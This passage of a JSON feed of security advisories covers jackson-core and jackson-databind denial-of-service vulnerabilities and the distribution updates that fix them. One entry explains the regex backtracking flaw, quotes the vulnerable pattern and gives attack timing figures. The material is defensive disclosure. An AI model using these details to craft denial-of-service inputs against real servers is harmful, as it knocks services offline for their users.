(`maxNumberLength`, not the much larger\n   `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n   magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n   default, and set wall-clock timeouts on parse/coercion operations.","status":"published","published":"2026-10-01T15:19:21Z","modified":"2026-10-01T15:30:13.452657713Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:46:52.891208Z"},{"id":"RLSA-2026:86706","title":"Moderate: jackson-core security update","description":"Core part of Jackson that defines Streaming API as well as basic shared abstractions.\n\nSecurity Fix(es):\n\n* com.fasterxml.jackson/jackson-core: tools.jackson.core/jackson-core: Jackson-core: Denial of Service via regular expression backtracking (CVE-2026-89407)\n\n* com.fasterxml.jackson.core/jackson-core: Jackson-core: Denial of Service via unbounded StringBuilder growth during malformed token processing (CVE-2026-89425)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-10-22T00:04:07.745746Z","modified":"2026-10-22T00:30:02.627384631Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"RLSA-2026:92408","title":"Important: dogtag-pki security update","description":"IdM PKI is an enterprise software system designed to manage enterprise Public Key Infrastructure deployments.  IdM PKI consists of the following components: \n  * Certificate Authority (CA)\n  * Key Recovery Authority (KRA)\n  * Online Certificate Status Protocol (OCSP) Manager\n  * Token Key Service (TKS)\n  * Token Processing Service (TPS)\n  * Automatic Certificate Management Environment (ACME) Responder\n  * Enrollment over Secure Transport (EST) Responder\n\nSecurity Fix(es):\n\n* resteasy-core: RESTEasy: IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS) (CVE-2026-89059)\n\n* resteasy-core: RESTEasy: CorsFilter Reflects Arbitrary Origin with Credentials under Wildcard Config (CVE-2026-89058)\n\n* com.fasterxml.jackson/jackson-core: tools.jackson.core/jackson-core: Jackson-core: Denial of Service via regular expression backtracking (CVE-2026-89407)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-10-30T12:08:48.996475Z","modified":"2026-10-30T12:30:03.150634574Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:26.76659Z"},{"id":"UBUNTU-CVE-2026-89407","description":"NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates \"stringified numbers\" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. Matching cost therefore grows with the square of the input length. An attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). Because StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. Testing by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. The affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. The fix replaces both regular expressions with a hand-rolled single-pass scan.","status":"published","published":"2026-09-22T15:17:00Z","modified":"2026-11-09T12:52:32.736137592Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-09T13:26:05.568602Z"},{"id":"ALSA-2026:86706","title":"Moderate: jackson-core security update","description":"Core part of Jackson that defines Streaming API as well as basic shared abstractions.  \n\nSecurity Fix(es):  \n\n  * com.fasterxml.jackson/jackson-core: tools.jackson.core/jackson-core: Jackson-core: Denial of Service via regular expression backtracking (CVE-2026-89407)\n  * com.fasterxml.jackson.core/jackson-core: Jackson-core: Denial of Service via unbounded StringBuilder growth during malformed token processing (CVE-2026-89425)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-10-21T00:00:00Z","modified":"2026-10-29T11:32:38.564186804Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"ALSA-2026:92408","title":"Important: dogtag-pki security update","description":"IdM PKI is an enterprise software system designed to manage enterprise Public Key Infrastructure deployments. IdM PKI consists of the following components:   \n\n  * Certificate Authority (CA)\n  * Key Recovery Authority (KRA)\n  * Online Certificate Status Protocol (OCSP) Manager\n  * Token Key Service (TKS)\n  * Token Processing Service (TPS)\n  * Automatic Certificate Management Environment (ACME) Responder\n  * Enrollment over Secure Transport (EST) Responder\n\n\nSecurity Fix(es):  \n\n  * resteasy-core: RESTEasy: IIOImageProvider Unbounded Image Decode (Decompression-Bomb DoS) (CVE-2026-89059)\n  * resteasy-core: RESTEasy: CorsFilter Reflects Arbitrary Origin with Credentials under Wildcard Config (CVE-2026-89058)\n  * com.fasterxml.jackson/jackson-core: tools.jackson.core/jackson-core: Jackson-core: Denial of Service via regular expression backtracking (CVE-2026-89407)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-10-29T00:00:00Z","modified":"2026-10-30T13:30:02.411311043Z","updated_at":"2026-11-02T15:27:57.367731Z"},{"id":"CLSA-2026-1791485698","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.17.1-tuxcare.1.","status":"published","published":"2026-10-08T18:54:58Z","modified":"2026-10-15T09:47:44.954131074Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791485784","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (4 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 4 CVEs. Fixed in 2.17.3-tuxcare.2.","status":"published","published":"2026-10-08T18:56:24Z","modified":"2026-10-15T09:47:45.014568537Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1791486041","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.17.2-tuxcare.2.","status":"published","published":"2026-10-08T19:00:41Z","modified":"2026-10-15T09:47:44.994238414Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"CLSA-2026-1792428696","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.21.4-tuxcare.1.","status":"published","published":"2026-10-19T16:51:36Z","modified":"2026-10-19T19:15:08.924927909Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428704","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.18.8-tuxcare.1.","status":"published","published":"2026-10-19T16:51:44Z","modified":"2026-10-19T19:15:07.340765767Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428825","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.18.3-tuxcare.1.","status":"published","published":"2026-10-19T16:53:45Z","modified":"2026-10-19T19:15:07.745502184Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1792428857","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.18.4.1-tuxcare.1.","status":"published","published":"2026-10-19T16:54:17Z","modified":"2026-10-19T19:15:04.026363708Z","updated_at":"2026-11-02T15:43:54.119956Z"},{"id":"CLSA-2026-1793085177","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (6 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 6 CVEs. Fixed in 2.20.1-tuxcare.1.","status":"published","published":"2026-10-27T07:12:57Z","modified":"2026-10-27T13:30:03.65513177Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793087700","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.18.0-tuxcare.2.","status":"published","published":"2026-10-27T07:55:00Z","modified":"2026-10-27T13:30:02.671989129Z","updated_at":"2026-11-02T15:43:54.981307Z"},{"id":"CLSA-2026-1793196375","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (1 CVE)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 1 CVE. Fixed in 2.18.1-tuxcare.2.","status":"published","published":"2026-10-28T14:06:15Z","modified":"2026-10-28T19:45:06.124808248Z","updated_at":"2026-11-02T15:43:55.34846Z"},{"id":"CLSA-2026-1793599822","title":"TuxCare security update for com.fasterxml.jackson.core:jackson-core (2 CVEs)","description":"TuxCare rebuilt com.fasterxml.jackson.core:jackson-core to address 2 CVEs. Fixed in 2.21.2-tuxcare.2.","status":"published","published":"2026-11-02T07:10:23Z","modified":"2026-11-02T14:45:04.756152611Z","updated_at":"2026-11-02T15:43:55.669514Z"},{"id":"openSUSE-SU-2026:11876-1","title":"jackson-core-2.18.11-1.1 on GA media","description":"These are all security issues fixed in the jackson-core-2.18.11-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-24T00:00:00Z","modified":"2026-09-25T18:23:08.65363617Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22034-1","title":"Security update for jackson-annotations, jackson-core, jackson-databind","description":"This update for jackson-annotations, jackson-core, jackson-databind fixes the following issues:\n\n- CVE-2026-18401: Number Length Constraint Bypass in Async Parser Can Lead to Potential Processing Time Issues\n  (bsc#1273856).\n- CVE-2026-19032: deserializer for `java.nio.file.Path` resolves attacker-supplied URIs without restricting the URI\n  scheme (bsc#1277883).\n- CVE-2026-68494: Async parser maxNumberLength bypass via chunked digit accumulation (bsc#1273857).\n- CVE-2026-68497: An unauthenticated attacker can therefore submit a single request of a few megabytes (bsc#1280125).\n- CVE-2026-68498: Enforce maxNameLength incrementally in ReaderBasedJsonParser (bsc#1282641).\n- CVE-2026-83557: incomplete `PolymorphicTypeValidator` denylist allows for arbitrary `Comparable` deserialization\n  (bsc#1278008).\n- CVE-2026-89407: Optimize NumberInput.looksLikeValidNumber (bsc#1282645).\n- CVE-2026-89425: `UTF8DataInputJsonParser._reportInvalidToken()`lacks `maxErrorTokenLength` limit, which allows for\n  unbounded `StringBuilder` growth and can lead to a DoS when malformed tokens are processed (bsc#1282505).\n- CVE-2026-91776: `TypeDeserializerBase._findDeserializer()` caches the resolved deserializer under the raw, attacker-\n  supplied type ID, which can lead to unbounded cache growth under certain configurations (bsc#1282491).\n- CVE-2026-91777: forward-reference completion for `@JsonIdentityInfo` object IDs performs a linear scan of the pending-\n  reference accumulator for every resolved ID, which can lead to quadratic CPU work during deserialization\n  (bsc#1282492).\n\nChanges for jackson-annotations:\n\n- Update to 2.18.11\n\nChanges for jackson-core:\n\n- Update to 2.18.11\n * #1649: Optimize NumberInput.looksLikeValidNumber (bsc#1282645,\n CVE-2026-89407)\n * #1698: UTF8DataInputJsonParser does not honor\n maxErrorTokenLength when reporting an unrecognized token\n (bsc#1282505, CVE-2026-89425)\n * #1642: Fix maxDocumentLength bypass in async parser\n single-feedInput() case [GHSA-2c4j-63jj-9fqr]\n * #1643: Enforce maxNameLength incrementally in\n ReaderBasedJsonParser (bsc#1282641, CVE-2026-68498)\n of async parser (bsc#1273857, CVE-2026-68494)\n non-blocking (async) parser (bsc#1273856, CVE-2026-18401)\n\nChanges for jackson-databind:\n\n- Update to 2.18.11\n * #6185: Bracket unresolved IPv6 host name in InetSocketAddress\n serialization\n * #6203: Prevent unbounded growth of type id cache in\n TypeDeserializer (bsc#1282491, CVE-2026-91776)\n * #6204: Avoid quadratic forward-reference resolution in\n Collection/Map deserializers (bsc#1282492, CVE-2026-91777)\n * #6099: Resolve classes without initialization in\n TypeFactory.findClass()\n * #6116: Reject non-ASCII digits in InetAddress literal validation\n * #6127: Add StreamReadConstraints number len constraint to\n javax.xml.datatype.XMLGregorianCalendar and\n javax.xml.datatype.Duration (bsc#1280125, CVE-2026-68497)\n * #6129: Limit the supported URL schemes for java.nio.file.Path\n deserialization (bsc#1277883, CVE-2026-19032)\n * #6156: Add java.lang.Comparable in set of unsafe polymorphic\n base types (bsc#1278008, CVE-2026-83557)\n * #6165: Apply number length limits to BigDecimal/BigInteger/\n /Double/Float Map keys\n","status":"published","published":"2026-10-06T14:10:27Z","modified":"2026-10-09T17:23:14.417272976Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"ROOT-APP-MAVEN-CVE-2026-89407","title":"CVE-2026-89407 in com.fasterxml.jackson.core:jackson-core - Patched by Root","description":"Root has patched CVE-2026-89407 in the com.fasterxml.jackson.core:jackson-core package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-11-05T08:30:29Z","modified":"2026-11-05T09:15:03.078528927Z","updated_at":"2026-11-05T13:31:49.170436Z"},{"id":"SUSE-SU-2026:24149-1","title":"Security update for jackson-annotations, jackson-core, jackson-databind","description":"This update for jackson-annotations, jackson-core, jackson-databind fixes the following issues:\n\n- CVE-2026-18401: Number Length Constraint Bypass in Async Parser Can Lead to Potential Processing Time Issues\n  (bsc#1273856).\n- CVE-2026-19032: deserializer for `java.nio.file.Path` resolves attacker-supplied URIs without restricting the URI\n  scheme (bsc#1277883).\n- CVE-2026-68494: Async parser maxNumberLength bypass via chunked digit accumulation (bsc#1273857).\n- CVE-2026-68497: An unauthenticated attacker can therefore submit a single request of a few megabytes (bsc#1280125).\n- CVE-2026-68498: Enforce maxNameLength incrementally in ReaderBasedJsonParser (bsc#1282641).\n- CVE-2026-83557: incomplete `PolymorphicTypeValidator` denylist allows for arbitrary `Comparable` deserialization\n  (bsc#1278008).\n- CVE-2026-89407: Optimize NumberInput.looksLikeValidNumber (bsc#1282645).\n- CVE-2026-89425: `UTF8DataInputJsonParser._reportInvalidToken()`lacks `maxErrorTokenLength` limit, which allows for\n  unbounded `StringBuilder` growth and can lead to a DoS when malformed tokens are processed (bsc#1282505).\n- CVE-2026-91776: `TypeDeserializerBase._findDeserializer()` caches the resolved deserializer under the raw, attacker-\n  supplied type ID, which can lead to unbounded cache growth under certain configurations (bsc#1282491).\n- CVE-2026-91777: forward-reference completion for `@JsonIdentityInfo` object IDs performs a linear scan of the pending-\n  reference accumulator for every resolved ID, which can lead to quadratic CPU work during deserialization\n  (bsc#1282492).\n\nChanges for jackson-annotations:\n\n- Update to 2.18.11\n\nChanges for jackson-core:\n\n- Update to 2.18.11\n * #1649: Optimize NumberInput.looksLikeValidNumber (bsc#1282645,\n CVE-2026-89407)\n * #1698: UTF8DataInputJsonParser does not honor\n maxErrorTokenLength when reporting an unrecognized token\n (bsc#1282505, CVE-2026-89425)\n * #1642: Fix maxDocumentLength bypass in async parser\n single-feedInput() case [GHSA-2c4j-63jj-9fqr]\n * #1643: Enforce maxNameLength incrementally in\n ReaderBasedJsonParser (bsc#1282641, CVE-2026-68498)\n of async parser (bsc#1273857, CVE-2026-68494)\n non-blocking (async) parser (bsc#1273856, CVE-2026-18401)\n\nChanges for jackson-databind:\n\n- Update to 2.18.11\n * #6185: Bracket unresolved IPv6 host name in InetSocketAddress\n serialization\n * #6203: Prevent unbounded growth of type id cache in\n TypeDeserializer (bsc#1282491, CVE-2026-91776)\n * #6204: Avoid quadratic forward-reference resolution in\n Collection/Map deserializers (bsc#1282492, CVE-2026-91777)\n * #6099: Resolve classes without initialization in\n TypeFactory.findClass()\n * #6116: Reject non-ASCII digits in InetAddress literal validation\n * #6127: Add StreamReadConstraints number len constraint to\n javax.xml.datatype.XMLGregorianCalendar and\n javax.xml.datatype.Duration (bsc#1280125, CVE-2026-68497)\n * #6129: Limit the supported URL schemes for java.nio.file.Path\n deserialization (bsc#1277883, CVE-2026-19032)\n * #6156: Add java.lang.Comparable in set of unsafe polymorphic\n base types (bsc#1278008, CVE-2026-83557)\n * #6165: Apply number length limits to BigDecimal/BigInteger/\n /Double/Float Map keys\n","status":"published","published":"2026-10-06T14:12:21Z","modified":"2026-10-16T17:23:10.946637755Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:4394-1","title":"Security update for jackson-annotations, jackson-bom, jackson-core, jackson-databind, jackson-dataformat-xml, jackson-dataformats-binary, jackson-modules-base","description":"This update for jackson-annotations, jackson-bom, jackson-core, jackson-databind, jackson-dataformat-xml, jackson-dataformats-binary, jackson-modules-base fixes the following issues:\n\n- CVE-2026-18401: Number Length Constraint Bypass in Async Parser Can Lead to Potential Processing Time Issues\n  (bsc#1273856).\n- CVE-2026-68494: Async parser maxNumberLength bypass via chunked digit accumulation (bsc#1273857).\n- CVE-2026-68495: Ensure maxNameLength limit enforced for CBOR parser (bsc#1282639).\n- CVE-2026-68496: Ensure maxNameLength limit enforced for Smile parser (bsc#1282640).\n- CVE-2026-68498: Enforce maxNameLength incrementally in ReaderBasedJsonParser (bsc#1282641).\n- CVE-2026-89407: Optimize NumberInput.looksLikeValidNumber (bsc#1282645).\n- CVE-2026-89425: `UTF8DataInputJsonParser._reportInvalidToken()`lacks `maxErrorTokenLength` limit, which allows for\n  unbounded `StringBuilder` growth and can lead to a DoS when malformed tokens are processed (bsc#1282505).\n\nChanges for jackson-annotations:\n\n- Update to 2.18.11\n\nChanges for jackson-bom:\n\n- Update to 2.18.11\n\nChanges for jackson-core:\n  \n- Update to 2.18.11\n * #1649: Optimize NumberInput.looksLikeValidNumber (bsc#1282645,\n CVE-2026-89407)\n * #1698: UTF8DataInputJsonParser does not honor\n maxErrorTokenLength when reporting an unrecognized token\n (bsc#1282505, CVE-2026-89425)\n * #1642: Fix maxDocumentLength bypass in async parser\n single-feedInput() case [GHSA-2c4j-63jj-9fqr]\n * #1643: Enforce maxNameLength incrementally in\n ReaderBasedJsonParser (bsc#1282641, CVE-2026-68498)\n of async parser (bsc#1273857, CVE-2026-68494)\n non-blocking (async) parser (bsc#1273856, CVE-2026-18401)\n\nChanges for jackson-databind:\n\n- Update to 2.18.11\n * #6185: Bracket unresolved IPv6 host name in InetSocketAddress\n serialization\n * #6203: Prevent unbounded growth of type id cache in\n TypeDeserializer (bsc#1282491, CVE-2026-91776)\n * #6204: Avoid quadratic forward-reference resolution in\n Collection/Map deserializers (bsc#1282492, CVE-2026-91777)\n * #6099: Resolve classes without initialization in\n TypeFactory.findClass()\n * #6116: Reject non-ASCII digits in InetAddress literal validation\n * #6127: Add StreamReadConstraints number len constraint to\n javax.xml.datatype.XMLGregorianCalendar and\n javax.xml.datatype.Duration (bsc#1280125, CVE-2026-68497)\n * #6129: Limit the supported URL schemes for java.nio.file.Path\n deserialization (bsc#1277883, CVE-2026-19032)\n * #6156: Add java.lang.Comparable in set of unsafe polymorphic\n base types (bsc#1278008, CVE-2026-83557)\n * #6165: Apply number length limits to BigDecimal/BigInteger/\n /Double/Float Map keys\n\nChanges for jackson-dataformat-xml:\n\n- Update to 2.18.11\n * Fix build to avoid past-JDK-8 bytecode generation\n * #891: Enforce StreamReadConstraints.maxNestingDepth in\n FromXmlParser\n\nChanges for jackson-dataformats-binary:\n\n- Update to 2.18.11\n * #783: (protobuf) Support StreamReadConstraints.maxDocumentLength\n in ProtobufParser\n * #785: (avro) Support StreamReadConstraints.maxDocumentLength and\n maxTokenCount in Avro parser\n * #803: (ion) Support StreamReadConstraints.maxNestingDepth in Ion\n parser (partial fix for #358)\n * #805: (ion) Support StreamReadConstraints.maxDocumentLength in\n Ion parser (partial fix for #358)\n * #725: (cbor) Ensure maxNameLength limit enforced for CBOR parser\n (bsc#1282639, CVE-2026-68495)\n * #726: (smile) Ensure maxNameLength limit enforced for Smile\n parser (bsc#1282640, CVE-2026-68496)\n * #727: (cbor) CBORParser.nextFieldName(SerializableString)\n confuses 5-bit length marker 23 with 24 ('1-byte length suffix\n follows')\n * #728: (cbor) CBORParser.nextFieldName(SerializableString)\n consumes Object entry slot twice on fast-path miss, truncating\n definite-length Objects\n * #733: (cbor) Long `String`s not added to 'stringref' reference\n table, breaking following references\n * #735: (cbor) 'stringref' property-name paths pass 5-bit length\n marker instead of actual length to shouldReferenceString()\n * #736: (cbor) Long Object property names added to 'stringref'\n reference table twice\n\nChanges for jackson-modules-base:\n\n- Update to 2.18.11\n","status":"published","published":"2026-09-29T11:53:06Z","modified":"2026-09-30T12:00:04.420797068Z","updated_at":"2026-11-02T15:54:05.838224Z"}]}}